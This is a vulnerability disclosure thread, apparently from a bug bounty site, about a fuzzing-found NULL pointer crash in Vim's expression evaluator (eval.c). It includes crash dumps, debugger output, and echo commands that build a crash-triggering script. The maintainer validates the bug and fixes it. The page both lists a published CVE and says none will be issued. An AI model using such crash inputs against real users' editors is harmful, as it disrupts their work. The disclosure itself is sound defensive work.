Access violation near NULL on destination operand eval.c:2603:37 in segmentation fault in vim/vim

2

✓ Valid Reported on Aug 28th 2022

Description

Access violation near NULL on destination operand eval.c:2603:37 in segmentation fault

Proof of Concept

Faulting Frame: eval1 @ 0x0000000000d9e9d2: in /root/vim/src/vim

Disassembly:

0x0000000000d9e9bd: mov rax,r14 0x0000000000d9e9c0: shr rax,0x3 0x0000000000d9e9c4: mov al,BYTE PTR [rax+0x7fff8000] 0x0000000000d9e9ca: test al,al 0x0000000000d9e9cc: jne 0xda0bf6 <eval1+32998> => 0x0000000000d9e9d2: cmp BYTE PTR [r14],0x20 0x0000000000d9e9d6: jne 0xd9ea35 <eval1+24357> 0x0000000000d9e9d8: mov eax,0x520bcac 0x0000000000d9e9dd: shr rax,0x3 0x0000000000d9e9e1: mov al,BYTE PTR [rax+0x7fff8000]

Stack Head (34 entries):

eval1 @ 0x0000000000d9e9d2: in /root/vim/src/vim eval_list @ 0x0000000001b3231b: in /root/vim/src/vim eval9 @ 0x0000000000e8e4a9: in /root/vim/src/vim eval8 @ 0x0000000000ebbada: in /root/vim/src/vim eval7 @ 0x0000000000eb5b12: in /root/vim/src/vim eval6 @ 0x0000000000eac89b: in /root/vim/src/vim eval5 @ 0x0000000000ea7cdd: in /root/vim/src/vim eval4 @ 0x0000000000ea31f2: in /root/vim/src/vim eval3 @ 0x0000000000e9e13c: in /root/vim/src/vim eval2 @ 0x0000000000d98d08: in /root/vim/src/vim eval1 @ 0x0000000000d98d08: in /root/vim/src/vim eval0_retarg @ 0x0000000000e146d1: in /root/vim/src/vim eval0 @ 0x0000000000d90a18: in /root/vim/src/vim ex_eval @ 0x0000000001407723: in /root/vim/src/vim do_one_cmd @ 0x000000000127576c: in /root/vim/src/vim do_cmdline @ 0x00000000012391da: in /root/vim/src/vim

Registers:

rax=0x0000000000000000 rbx=0x00007fff915c0760 rcx=0x000000000000000 rdx=0x000000000000003f rsi=0x0000000000000000 rdi=0x00007fff915c03a rbp=0x00007fff915c0a70 rsp=0x00007fff915c04e0 r8=0x00007fff915bf720 r9=0x0000000000000001 r10=0x0000000004a7eb73 r11=0x0000000000000206

```
r9=0x0000000000000001 r10=0x0000000004a7eb73 r11=0x0000000000000206
r12=0x0000000000000000 r13=0x00007fff915c2d80 r14=0x0000000000000001
r15=0x0000000000a3b213 rip=0x0000000000d9e9d2 efl=0x0000000000010246

cs=0x0000000000000033 ss=0x000000000000002b ds=0x0000000000000000
es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
```

Download poc https://github.com/fondxd/fuzzing-poc/blob/main/poc2

Impact

The target crashed on an access violation at an address matching the destination operand of the instruction. This likely indicates a write access violation, which means the attacker may control write address and/or value. However, it there is a chance it could be a NULL dereference.

CVE
CVE-2022-3278
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (6.8)

Registry
Other

Affected Version
9.0.292

Visibility
Public

Status
Fixed

Found by

fondXD
@fondxd
unranked

Fixed by

Bram Moolenaar

Chat with us

@brammool

maintainer

This report was seen 1,151 times.

We are processing your report and will contact the vim team within 24 hours. 3 months ago

fondXD modified the report 3 months ago

fondXD modified the report 3 months ago

We have contacted a member of the vim team and are waiting to hear back 3 months ago

Bram Moolenaar 3 months ago Maintainer

The POC looks like a random sequence of bytes. Please reduce to the absolute minimum to reproduce the problem.

fondXD 3 months ago Researcher

sorry for the trouble, cause its my first time, trying to report a cve

below is the command and options i used to run vim
~/vim/src/vim -u NONE -i NONE -n -m -X -Z -e -s -S /root/poctest3 -c ':qa!'

I have remove useless line to reproduce the error for the crash and reuploaded it, the link below can be used to download it.
https://github.com/fondxd/fuzzing-poc/blob/013807e3a31fbab385420ec411dc4568dea5f4cf/poc2a

thanks and have a nice day

Bram Moolenaar 3 months ago Maintainer

Sorry, this still looks like a bunch of random bytes, just fewer. You need to use some tool to change is something more readable.

fondXD 3 months ago

sorry for the trouble caused, I have further cleanup the file so it is more readable, i am not sure that if this is ok that if this is ok.

below is the link to the file
https://github.com/fondxd/fuzzing-

poc/blob/ce7b09edad2e0b5ed53b1a5006b27ad87aa4fc02/poc2b

Bram Moolenaar 3 months ago Maintainer

Well, it still looks like a bunch of bytes, but at least it's a lot shorter.
When I truy running Vim under valgrind with this script there is no error. Does this only happen with ASAN?

fondXD 3 months ago Researcher

my vim is built with asan enabled

fondXD 3 months ago Researcher

i tried using afl-clang-fast and without asan, it still crashed

fondXD 3 months ago Researcher

https://github.com/fondxd/fuzzing-poc/blob/efabfe1e024a4bbaf6317cf6e7862596b9230380/crash.png

fondXD 3 months ago Researcher

https://github.com/fondxd/fuzzing-poc/blob/f827ea72f3472b37b9c68a94f4d8166445de6792/crash2.png

fondXD 3 months ago Researcher

the poc is supposed to contain random bytes since i am doing fuzz testing

Bram Moolenaar 3 months ago

Fuzzing can be used to find problems, but the reproduction should be with a valid script and as readable as possible. For that it is needed to understand the code and the script language. You readable as possible. For that it is needed to understand the code and the script language. You can't expect developers to do all the work for you.

fondXD 3 months ago Researcher

so what do i need to do now?

fondXD 3 months ago Researcher

so from my testing it will crash vim when using asan enable and without asan

fondXD 3 months ago Researcher

sorry for the trouble cause, as this is my first time fuzzing and reporting a cve

We have sent a follow up to the **vim** team. We will try again in 7 days. 3 months ago

We have sent a second follow up to the **vim** team. We will try again in 10 days. 3 months ago

Bram Moolenaar 3 months ago Maintainer

You can run Vim in a debugger with the script and using breakpoints to see what happens. When you inspect the place where the NULL pointer is used, you can go back up the stack to find out where the NULL is coming from and why it was used. This should provide you information of the commands used in the script and the text that the commands work with. Hopefully this will reveal a much simpler way to reproduce with a readable script.

We have sent a third and final follow up to the **vim** team. This report is now considered stale. 2 months ago

fondXD 2 months ago Researcher

Sorry to disturb but can you try to use the below as input to see if the program crash on your side?

```
d
0scr�f
de
vim9 [0 ? m :
```

so

d

fondXD 2 months ago

Researcher

The following is the gdb output i get

```
(gdb) r
Starting program: /root/vim/src/vim -u NONE -i NONE -n -m -X -Z -e -s -S /root/poc2b
warning: Error disabling address space randomization: Operation not permitted
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffee3feb000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Warning: AFL++ tools will need to set AFL_MAP_SIZE to 409408 to be able to run this instrumented program!
eval.c:2603:37: runtime error: applying non-zero offset 1 to null pointer
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior eval.c:2603:37 in

Program received signal SIGSEGV, Segmentation fault.
0x0000000000d9e9d2 in eval1 (arg=<optimized out>, rettv=0x7ffee3fa8720, evalarg=<optimized out>) at eval.c:2603
2603            if (evaluate && vim9script && !IS_WHITE_OR_NUL((arg)[1]))
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────── registers ─────
$rax   : 0x0
$rbx   : 0x007ffee3fa83e0  →  0x007ffee3faa880  →  0x0000000000000000
$rcx   : 0x0
$rdx   : 0x3f
$rsp   : 0x007ffee3fa8160  →  0x0000000041b58ab3
$rbp   : 0x007ffee3fa86f0  →  0x007ffee3fa89b0  →  0x007ffee3fa8b10  →  0x007ffee3fa8c50  →  0x007ffee3fa90f0  →  0x007ffee3fa9890  →  0x007ffee3fa9c90  →  0x007ffee3fa9e10
$rsi   : 0x0
$rdi   : 0x007ffee3fa8021  →  0x000000000000a420
$rip   : 0x00000000d9e9d2  →  <eval1+24258> cmp BYTE PTR [r14], 0x20
$r8    : 0x007ffee3fa73a0  →  0x00000000a422c9  →  <eval_dict+4233> add eax, DWORD PTR [rax]
$r9    : 0x1
$r10   : 0x00000004a7eb73  →  "mpProcessMap"
$r11   : 0x206
$r12   : 0x0
$r13   : 0x007ffee3faaa00  →  0x0000000000000000
$r14   : 0x1
$r15   : 0x00000000a3b213  →  <dict_find+1587> (bad)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────
```

```
──────────────────────────────────────────────────────── stack ────
0x007ffee3fa8160│ +0x0000: 0x0000000041b58ab3     ← $rsp
0x007ffee3fa8168│ +0x0008: 0x00000004a9c05b  →  "11 32 4 16 getnext.i.i:2351 48 4 17
getnext.i513:2[...]"
0x007ffee3fa8170│ +0x0010: 0x00000000d98b10  →  <eval1+0> push rbp
0x007ffee3fa8178│ +0x0018: 0x00000000a4200c  →  <eval_dict+3532> mov eax, 0x51f6b38
0x007ffee3fa8180│ +0x0020: 0x00000000a4200b  →  <eval_dict+3531> add BYTE PTR
[rax+0x51f6b38], bh
0x007ffee3fa8188│ +0x0028: 0x00000000a4200a  →  <eval_dict+3530> add BYTE PTR [rax], al
0x007ffee3fa8190│ +0x0030: 0x0000000000000001
0x007ffee3fa8198│ +0x0038: 0x00000000a41ffa  →  <eval_dict+3514> add BYTE PTR [rax], al
───────────────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────── code:x86:64 ────
0xd9e9c4 <eval1+24244>    mov    al, BYTE PTR [rax+0x7fff8000]
0xd9e9ca <eval1+24250>    test   al, al
0xd9e9cc <eval1+24252>    jne    0xda0bf6 <eval1+32998>
→   0xd9e9d2 <eval1+24258>    cmp    BYTE PTR [r14], 0x20
0xd9e9d6 <eval1+24262>    jne    0xd9ea35 <eval1+24357>
0xd9e9d8 <eval1+24264>    mov    eax, 0x520bcac
0xd9e9dd <eval1+24269>    shr    rax, 0x3
0xd9e9e1 <eval1+24273>    mov    al, BYTE PTR [rax+0x7fff8000]
0xd9e9e7 <eval1+24279>    test   al, al
───────────────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────── source:eval.c+2603 ────
2598           }
2599
2600           /
2601           * Get the third variable.  Recursive!
2602            /
→ 2603           if (evaluate && vim9script && !IS_WHITE_OR_NUL((arg)[1]))
2604           {
2605               error_white_both(*arg, 1);
2606               clear_tv(rettv);
2607               evalarg_used->eval_flags = orig_flags;
2608               return FAIL;
───────────────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vim", stopped 0xd9e9d2 in eval1 (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────────── trace ────
[#0] 0xd9e9d2 → eval1(arg=<optimized out>, rettv=0x7ffee3fa8720, evalarg=<optimized out>)
[#1] 0x1b3231b → eval_list(arg=<optimized out>, rettv=<optimized out>, evalarg=0x7ffee3faaa00,
do_error=<optimized out>)
[#2] 0xe8e4a9 → eval9(arg=<optimized out>, rettv=<optimized out>, evalarg=0x7ffee3faaa00,
want_string=<optimized out>)
[#3] 0xebbada → eval8(arg=<optimized out>, rettv=<optimized out>, evalarg=0x
want_string=<optimized out>)
[#4] 0xeb5b12 → eval7(arg=0x7ffee3faa880, rettv=0x7ffee3faa9e0, evalarg=0x7ff
want_string=0x0)
```

```
[#5] 0xeac89b → eval6(arg=0x7ffee3faa880, rettv=0x7ffee3faa9e0, evalarg=0x7ffee3faaa00)
[#6] 0xea7cdd → eval5(arg=0x7ffee3faa880, rettv=0x7ffee3faa9e0, evalarg=0x7ffee3faaa00)
[#7] 0xea31f2 → eval4(arg=<optimized out>, rettv=<optimized out>, evalarg=<optimized out>)
[#8] 0xe9e13c → eval3(arg=0x7ffee3faa880, rettv=0x7ffee3faa9e0, evalarg=0x7ffee3faaa00)
[#9] 0xd98d08 → eval2(arg=0x7ffee3faa880, rettv=0x7ffee3faa9e0, evalarg=0x7ffee3faaa00)
```

Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128):

fondXD 2 months ago Researcher

also can i ask what does ^@ in vim as a special char represents? it is highlighted in blue

fondXD 2 months ago Researcher

sorry for all the confusion, i have found out that ^@ is the null char that cant be type manually, however it can be echo in or for files already have null char will cause this problem.

so instead please use the following command to generate the poc file :

```
echo -e "vim9 [0 \0 ?? \n
so
d
+0scr
so " > poc2b
```

fondXD 2 months ago Researcher

sorry about earlier, please ignore the earlier message.

sorry for all the confusion, i have found out that ^@ is the null char that cant be type manually, however it can be echo in or for files already have null char will cause this problem.

so instead please use the following command to generate the poc file :

```
echo -e "d
0scr�f
\0de
vim9 [0 \0  ? m \0 :\n
so \n
d " >poc2test
```

Bram Moolenaar 2 months ago Maintainer

OK, I can see a NULL pointer use. I'll see if I can simplify the POC. It starts with "d", which is "delete", which doesn't make sense in an empty buffer.

fondXD 2 months ago Researcher

Thanks

Bram Moolenaar validated this vulnerability 2 months ago

I managed to make a simplified POC to be used as a regression test.
It was still quite a puzzle how to reproduce this.

fondXD has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 2 months ago Maintainer

Fixed in patch 9.0.0552

Bram Moolenaar marked this as fixed in **9.0.0552** with commit **690829** 2 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us